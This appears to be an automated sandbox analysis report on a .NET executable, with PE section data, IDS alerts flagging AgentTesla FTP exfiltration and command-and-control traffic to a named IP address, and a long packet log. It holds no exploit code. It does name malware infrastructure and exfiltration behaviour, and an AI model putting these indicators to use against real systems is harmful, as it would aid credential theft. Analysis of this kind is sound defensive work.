add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xccf2c	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xce000	0x560	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xcaf8c	0xcb000	8480e26403f6f996486b66d5626b1c40	False	0.4361758678417488	data	6.04099605348364	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xce000	0x560	0x600	12964a9ffd91148da89cf21635d497b1	False	0.4127604166666667	data	4.472935240908004	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0xc	0x200	bb71e7e5ab6d371a82ed62ebee4a740b	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xce0a0	0x30c	data			0.4282051282051282
RT_MANIFEST	0xce3ac	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T15:45:07.838991+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.10	53088	5.2.84.236	21	TCP
2024-10-02T15:45:08.469736+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53089	5.2.84.236	50668	TCP
2024-10-02T15:45:08.475468+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53089	5.2.84.236	50668	TCP
2024-10-02T15:45:20.456752+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.10	53091	5.2.84.236	21	TCP
2024-10-02T15:45:21.777811+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53096	5.2.84.236	53705	TCP
2024-10-02T15:45:21.787615+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53096	5.2.84.236	53705	TCP
2024-10-02T15:45:28.494559+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.10	53098	5.2.84.236	21	TCP
2024-10-02T15:45:29.108219+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53099	5.2.84.236	54538	TCP
2024-10-02T15:45:29.113835+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.10	53099	5.2.84.236	54538	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 15:45:01.679811954 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:01.679872036 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:01.680006027 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:01.691262007 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:01.691298008 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.229237080 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.229377985 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.243813992 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.243848085 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.244102001 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.285877943 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.294126034 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.335406065 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.423074961 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.423110008 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.423116922 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.423176050 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.423209906 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.457633018 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.457721949 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.457746029 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.504628897 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.517400980 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517416000 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517451048 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517468929 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517477036 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517508030 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517652035 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.517652035 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.517678022 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.517719984 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.518217087 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.518225908 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.518281937 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.552129984 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.552211046 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.608004093 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.608119965 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.608669996 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.608732939 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.609524965 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.609579086 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.610594988 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.610655069 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.611480951 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.611546040 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.612278938 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.612341881 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.613513947 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.613570929 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.645374060 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.645497084 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.702250957 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.702341080 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.702409983 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.702433109 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.702450037 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.703216076 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.703268051 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.703280926 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.703351974 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.703402042 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.703417063 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.704085112 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.704144001 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.704153061 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.704895020 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.704946041 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.704953909 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.705107927 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.705156088 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.705162048 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.705907106 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.705965996 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.705976009 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.705991983 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.706046104 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.706052065 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.706734896 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.706806898 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.706815004 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.707542896 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.707614899 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.707623959 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.707655907 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.707706928 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.707715034 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.737690926 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.737739086 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.737828016 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.737848997 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.737982988 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.737982988 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.794433117 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.794513941 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.794527054 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.794539928 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.794584990 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.794869900 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.794939041 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.795140028 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.795229912 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.795408010 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.795470953 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.795797110 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.795849085 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.796000957 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.796053886 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.796369076 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.796407938 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.796438932 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.796454906 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.796473980 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.796509027 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.800441980 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.800514936 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.800735950 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.800795078 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.800889969 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.800946951 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.801063061 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.801100016 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.801116943 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.801124096 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.801151991 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.801172018 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.830849886 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.830885887 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.830929041 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.830949068 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.830990076 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.831010103 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.840118885 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.840215921 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.888865948 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.888921976 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.888951063 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.888966084 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.888984919 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889030933 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.889072895 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889123917 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.889131069 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889364004 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889415979 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.889424086 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889504910 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889554024 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.889560938 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889669895 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889715910 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889717102 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.889729977 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.889763117 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890070915 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890121937 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890321970 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890369892 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890372992 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890382051 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890414953 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890444040 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890492916 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890494108 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890502930 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890535116 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890536070 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.890546083 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.890578985 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.922741890 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.922832966 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.922879934 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.922899008 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.923082113 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.923082113 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.979338884 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.979398966 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.979425907 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.979454994 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.979480982 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.979497910 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.979609966 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.979661942 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980338097 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980393887 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980417967 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980426073 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980441093 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980448961 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980468035 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980473042 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980500937 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980525970 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980525970 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980540037 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980576038 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.980863094 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.980918884 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.981072903 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.981121063 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.981138945 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.981187105 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.981242895 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.981292963 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.981573105 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.981627941 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.981828928 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.981873035 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:02.982039928 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:02.982084036 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.015163898 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.015360117 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.016124010 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.016184092 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072022915 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072074890 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072093964 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072118998 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072139025 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072170973 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072274923 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072324991 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072390079 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072441101 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072455883 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072504044 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.072926998 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.072981119 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073066950 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073113918 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073326111 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073365927 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073374987 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073384047 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073410988 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073426962 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073487997 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073544025 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073573112 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073627949 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073796034 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073829889 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073843956 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073852062 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.073878050 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.073899984 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.074106932 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.074158907 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.074194908 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.074244976 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.107903004 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.107971907 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.108078003 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.108170986 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165101051 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165153027 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165189028 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165224075 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165241957 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165266037 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165426016 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165512085 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165747881 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165812016 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.165841103 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.165904045 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.167618036 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.167709112 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.167754889 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.167870998 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.167886019 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.167898893 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.167928934 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.167952061 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.167970896 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.168035030 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.168072939 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.168132067 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.168191910 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.168256044 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.168288946 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.168349981 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.168390989 CEST	443	53087	67.212.175.162	192.168.2.10
